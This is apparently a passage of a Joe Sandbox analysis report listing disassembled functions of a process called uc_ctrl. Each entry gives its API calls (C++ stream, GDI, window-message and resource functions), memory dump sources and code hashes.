?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,?,?,?,?,00000001,0000001C), ref: 6D1C81D6
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,00000001,0000001C), ref: 6D1C8224

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?setstate@?$basic_ios@_?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@H_prolog3H_prolog3_catchIpfx@?$basic_istream@U?$char_traits@_W@std@@@std@@
String ID:
API String ID: 3627558822-0
Opcode ID: 5d8d3cc4f59237849ab99ad8362963b3c823a5b8488afc1af02d43f05a4ce5bd
Instruction ID: dd6e0ad192a20080832244d17ccf69feb0dd3637d9d1571107eed2b7cb584570
Opcode Fuzzy Hash: 5d8d3cc4f59237849ab99ad8362963b3c823a5b8488afc1af02d43f05a4ce5bd
Instruction Fuzzy Hash: D931C374A006458FCB10CFA8C4D099DBBF0BF25324B25855DE565DB795C3B8EE41CB52

Function 6CF0EF83 Relevance: 6.1, APIs: 4, Instructions: 76windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CF0EF8A
GetSystemPaletteEntries.GDI32(?,00000000,00000100,00000004), ref: 6CF0F000
CreatePalette.GDI32(00000000), ref: 6CF0F04D

Part of subcall function 6CF0E71C: GetObjectW.GDI32(?,00000002,?), ref: 6CF0E729

GetPaletteEntries.GDI32(00000000,00000000,00000000,00000004), ref: 6CF0F034

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Palette$Entries$CreateH_prolog3ObjectSystem
String ID:
API String ID: 374951733-0
Opcode ID: 525adecaaa1960c4e3529b7c45183bc61ab8d3edf3a8ef3f777203d9476c4967
Instruction ID: 4fecf00bd12d35d7eb78076ed4209e20c9d42092e7f9e9f0e68c40fa2a0768a2
Opcode Fuzzy Hash: 525adecaaa1960c4e3529b7c45183bc61ab8d3edf3a8ef3f777203d9476c4967
Instruction Fuzzy Hash: 29212572600201AFEB159F64C854BEE77B5FF08754F24805DE9059B780EF31AC09CBA1

Function 6CEFAB38 Relevance: 6.1, APIs: 4, Instructions: 71windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000001F,00000000,00000000), ref: 6CEFAB70
SendMessageW.USER32(?,0000001F,00000000,00000000), ref: 6CEFAB9A
GetCapture.USER32 ref: 6CEFABB0
SendMessageW.USER32(00000000,0000001F,00000000,00000000), ref: 6CEFABBF

Part of subcall function 6CEEFBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6CEEFBB9

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: MessageSend$CaptureException@8Throw
String ID:
API String ID: 1331319163-0
Opcode ID: 5ee91b54202bae3cacfc2e565ea4b0e997d7843a4237889788928605a9818bee
Instruction ID: cf588f6e3ab363a90aa2d634df54aa09523e3b73bda6b1eb665da6d29458074d
Opcode Fuzzy Hash: 5ee91b54202bae3cacfc2e565ea4b0e997d7843a4237889788928605a9818bee
Instruction Fuzzy Hash: 83114F727416097FEB121B608C89FBE777EFB4878CF140068BA155B7A1DB629C1296A0

Function 6D19C710 Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

_Dtest.MSVCP140(?), ref: 6D19C71A

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: Dtest
String ID:
API String ID: 2456463492-0
Opcode ID: da862c4a59c8523f9223d2cad739e71df689a81c55386a5b189ffdb023188431
Instruction ID: 0c14c1bf25d1e6e100358df8f5d5d3a1b825ed1f83c71ef8af1303d6782eca2e
Opcode Fuzzy Hash: da862c4a59c8523f9223d2cad739e71df689a81c55386a5b189ffdb023188431
Instruction Fuzzy Hash: 0111CAB091450EA2EF052F54DD087D93BAAFB063A0F128A81F9F4991CCFFB2956086D5

Function 6D1C4E30 Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1C4E37

Part of subcall function 6D1BFE8C: __EH_prolog3.LIBCMT ref: 6D1BFE93
Part of subcall function 6D1BFE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C4999,?,00000001,00000008), ref: 6D1BFEC8

?in_avail@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAE_JXZ.MSVCP140(?,00000001,00000008), ref: 6D1C4E67
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,00000001,00000008), ref: 6D1C4EB9

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$H_prolog3$?in_avail@?$basic_streambuf@_?setstate@?$basic_ios@_Ipfx@?$basic_istream@_
String ID:
API String ID: 2465815921-0
Opcode ID: a5fb02f93fb06e46c1e2f459139093d6865ce66f2e48b88a5c185ba3d7008475
Instruction ID: d4952f59c955293ca02d6c5041b742324194321a32bd6f57299237ceda96ba9d
Opcode Fuzzy Hash: a5fb02f93fb06e46c1e2f459139093d6865ce66f2e48b88a5c185ba3d7008475
Instruction Fuzzy Hash: 6411A23578C6428FE714DF54C991B6A7762AFB8218B17C01CA6129B25CDBFCF9018753

Function 6D19AE60 Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

_Dtest.MSVCP140(?), ref: 6D19AE6A

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: Dtest
String ID:
API String ID: 2456463492-0
Opcode ID: 3f401b02ccd2823d63aac9cae119b411b91b105fdf518b7c6f8c0d03b870a4c1
Instruction ID: c72022bcf74e75751b68f1cc4e4a27846aef1608abf08cb1fb3fc2ad72fda02d
Opcode Fuzzy Hash: 3f401b02ccd2823d63aac9cae119b411b91b105fdf518b7c6f8c0d03b870a4c1
Instruction Fuzzy Hash: 28110AE0C54B0EA2DF015F54DD08BDD3B68FB063A0F128A80E9A4995CCFFB1956886D5

Function 6CF06880 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(?,00000000,00000005,?,?,00000000,00000000,?,6CF05720,?,?,?,?,?), ref: 6CF068A2
LoadResource.KERNEL32(?,00000000,?,?,00000000,00000000,?,6CF05720,?,?,?,?,?), ref: 6CF068B7
LockResource.KERNEL32(00000000,?,?,00000000,00000000,?,6CF05720,?,?,?,?,?), ref: 6CF068C9
GlobalFree.KERNEL32(?), ref: 6CF06908

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Resource$FindFreeGlobalLoadLock
String ID:
API String ID: 3898064442-0
Opcode ID: b3484988cf5f4ccb81bf49dfd1fae7535bc54869637ffebe2cfc44f300144a76
Instruction ID: 843ad508e9eb3bac9d4a8f7cb50b48fd8a30d030835c9c7ea29ef2ddf1a97089
Opcode Fuzzy Hash: b3484988cf5f4ccb81bf49dfd1fae7535bc54869637ffebe2cfc44f300144a76
Instruction Fuzzy Hash: 3211DF35200601AFDB018B55C4A8BAAB7F5FF84A29F25806DFC5AC3B20DF70D849AB10

Function 6D1C4AA0 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1C4AA7
?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000028), ref: 6D1C4ACA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000), ref: 6D1C4B34

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: ?clear@ios_base@std@@?setstate@?$basic_ios@_H_prolog3U?$char_traits@_W@std@@@std@@
String ID:
API String ID: 1215715714-0
Opcode ID: 14f0a3d71103444657fec9583bf7c25b2f3eae6b0db3c92907d4cbeeef2edb70
Instruction ID: 0dd4edd213796c677e3f59b11e97640304cebe29bc2f39b6b2c4277261c9e0bd
Opcode Fuzzy Hash: 14f0a3d71103444657fec9583bf7c25b2f3eae6b0db3c92907d4cbeeef2edb70
Instruction Fuzzy Hash: 95219A31A042148FCB04EFA8D8C0FADB7B1BF08318F158159E616AF2DACBB4E905CB41

Function 6CF08DF0 Relevance: 6.1, APIs: 4, Instructions: 61windowCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEFD5A5: GetDlgItem.USER32(?,?), ref: 6CEFD5B6

GetWindowLongW.USER32(?,000000F0), ref: 6CF08E0C
GetWindowTextLengthW.USER32(?), ref: 6CF08E39
GetWindowTextW.USER32(?,00000000,00000100), ref: 6CF08E69
SendMessageW.USER32(?,0000014D,000000FF,?), ref: 6CF08E89

Part of subcall function 6CEF2163: _wcslen.LIBCMT ref: 6CEF2188
Part of subcall function 6CEF2163: GetWindowTextW.USER32(?,?,00000100), ref: 6CEF21B9
Part of subcall function 6CEF2163: lstrcmpW.KERNEL32(?,?), ref: 6CEF21CB
Part of subcall function 6CEF2163: SetWindowTextW.USER32(?,?), ref: 6CEF21D7

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Window$Text$ItemLengthLongMessageSend_wcslenlstrcmp
String ID:
API String ID: 3501298611-0
Opcode ID: 726855fc779d423d9d6a626fca59ded489a1636732c5f7afb33685c1b036f1f0
Instruction ID: 533fe71d80b32412ab40f807c249962c1d52ca18e0026458fbbf2825865a3110
Opcode Fuzzy Hash: 726855fc779d423d9d6a626fca59ded489a1636732c5f7afb33685c1b036f1f0
Instruction Fuzzy Hash: 7B118B31604119EBCF119FA4CD15FEE7776EF09B24F20421AF9616AAE0CB715A54AB40

Function 6D1C0520 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1C0527
??0?$basic_istream@GU?$char_traits@G@std@@@std@@QAE@PAV?$basic_streambuf@GU?$char_traits@G@std@@@1@_N@Z.MSVCP140(?,00000000,00000000,0000000C), ref: 6D1C0569
?init@?$basic_ios@GU?$char_traits@G@std@@@std@@IAEXPAV?$basic_streambuf@GU?$char_traits@G@std@@@2@_N@Z.MSVCP140(00000000,00000000,0000000C), ref: 6D1C05B4
?swap@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXAAV12@@Z.MSVCP140(?,00000000,00000000,0000000C), ref: 6D1C05D2

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@$G@std@@@std@@V?$basic_streambuf@$??0?$basic_istream@?init@?$basic_ios@?swap@?$basic_ios@_G@std@@@1@_G@std@@@2@_H_prolog3U?$char_traits@_V12@@W@std@@@std@@
String ID:
API String ID: 3225207228-0
Opcode ID: 1d2febead48513191a70a5b3b48bb7f26d64638dd5498d8d76774ee4d55ae054
Instruction ID: 8b803e252b2e1c481acb74b82a1cd4d1d504921bccab109386f1c771fc0ddf73
Opcode Fuzzy Hash: 1d2febead48513191a70a5b3b48bb7f26d64638dd5498d8d76774ee4d55ae054
Instruction Fuzzy Hash: 692132B8600206DFDB04CF59C584A69FBF1FF88308B2980ADE5199B315D7B1EA12CF91

Function 6D1C6810 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1C6817
??0?$basic_istream@DU?$char_traits@D@std@@@std@@QAE@PAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140(?,00000000,00000000,0000000C), ref: 6D1C6859
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(00000000,00000000,0000000C), ref: 6D1C68A4
?swap@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXAAV12@@Z.MSVCP140(?,00000000,00000000,0000000C), ref: 6D1C68C2

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$V?$basic_streambuf@$??0?$basic_istream@?init@?$basic_ios@?swap@?$basic_ios@D@std@@@1@_D@std@@@2@_H_prolog3V12@@
String ID:
API String ID: 1953463137-0
Opcode ID: b1022f67b1f9a68bb26d61737267a0707df25b4bcdcd21d25371fdb8eedff330
Instruction ID: 799fb7c7b4b4bb08a01f96ac8df8ae52b587fe257c0f50f14afca56239b9bd43
Opcode Fuzzy Hash: b1022f67b1f9a68bb26d61737267a0707df25b4bcdcd21d25371fdb8eedff330
Instruction Fuzzy Hash: 5E2120B460020ADFDB00CF59C584A29FBF5BF88308B6980ADE5189B319D7B1EA11CF91

Function 6CF045F1 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(?,00000000,00000005), ref: 6CF04623
LoadResource.KERNEL32(?,00000000), ref: 6CF0462B
LockResource.KERNEL32(?), ref: 6CF04639
FreeResource.KERNEL32(?), ref: 6CF04689

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: 4e223a9a0935aed2f2b702962c91e0f3524c802659851c549fcff8f27e10da7f
Instruction ID: 4f247b446f2382231e7e9e2576a217fef615535958f96381fd071739a72057de
Opcode Fuzzy Hash: 4e223a9a0935aed2f2b702962c91e0f3524c802659851c549fcff8f27e10da7f
Instruction Fuzzy Hash: 85110631601522EBDB148F55CA68BA6FBB8FF59B59F108275EC04C7A40FB749910E7A0

Function 6CF66FDE Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6CF66FE8

Part of subcall function 6CEF512A: __EH_prolog3.LIBCMT ref: 6CEF5131
Part of subcall function 6CEF512A: GetWindowDC.USER32(00000000,00000004,6CF20443,00000000), ref: 6CEF515D

EnumFontFamiliesExW.GDI32(?,?,6CF66EB0,?,00000000), ref: 6CF67023

Part of subcall function 6CFE26D3: __EH_prolog3.LIBCMT ref: 6CFE26DA

Part of subcall function 6CFE2431: GlobalUnlock.KERNEL32(?,00000000,?,?,6CF67052,?,00000000,0014000C,00000000,?,00000000), ref: 6CFE245F
Part of subcall function 6CFE2431: GlobalUnlock.KERNEL32(?,?,?,6CF67052,?,00000000,0014000C,00000000,?,00000000), ref: 6CFE2468

EnumFontFamiliesExW.GDI32(00000000,?,6CF66E41,?,00000000,?,00000000,0014000C,00000000,?,00000000), ref: 6CF67078
DeleteObject.GDI32(00000000), ref: 6CF6707F

Part of subcall function 6CEEFBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6CEEFBB9

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: EnumFamiliesFontGlobalH_prolog3Unlock$DeleteException@8H_prolog3_ObjectThrowWindow
String ID:
API String ID: 4025682896-0
Opcode ID: 0c8a2a7cfb5fb8eead647de5bb5a1782c47bb973afb8118be557dc1e40f99a8e
Instruction ID: f3054bb6dc1a31904605815ec648d2d34c29bf7f557a47cf6ba0f82c8c9f2fc8
Opcode Fuzzy Hash: 0c8a2a7cfb5fb8eead647de5bb5a1782c47bb973afb8118be557dc1e40f99a8e
Instruction Fuzzy Hash: 5E119D71801249EFEB12DBB0CD98FEEBB3CAF19348F004069E90967641EF315E098B21

Function 6CEF8D08 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

GetObjectW.GDI32(?,0000000C,?), ref: 6CEF8D53
SetBkColor.GDI32(?,?), ref: 6CEF8D5D
GetSysColor.USER32(00000008), ref: 6CEF8D6D
SetTextColor.GDI32(?,?), ref: 6CEF8D75

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Color$ObjectText
String ID:
API String ID: 829078354-0
Opcode ID: aee486039716f1b64c92dcef741106782d402cf3e979ec41b4d41f38f4946632
Instruction ID: cb378a9c42b3b123de5670d1053461b6e9923fc79621c6a4b807bb292ec010ab
Opcode Fuzzy Hash: aee486039716f1b64c92dcef741106782d402cf3e979ec41b4d41f38f4946632
Instruction Fuzzy Hash: 9B115E31602104ABDB21DF6A8D44AAF777CEF9B618F64061AED21D7680D732DA0287B1

Function 6D1C4CA0 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C4CA7
?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000018), ref: 6D1C4CD5
?sputbackc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEG_W@Z.MSVCP140(?,?,?,?,?,?,00000001,?,00000000,00000018), ref: 6D1C4CFE
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,00000001,?,00000000,00000018), ref: 6D1C4D59

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?clear@ios_base@std@@?setstate@?$basic_ios@_?sputbackc@?$basic_streambuf@_H_prolog3_catch
String ID:
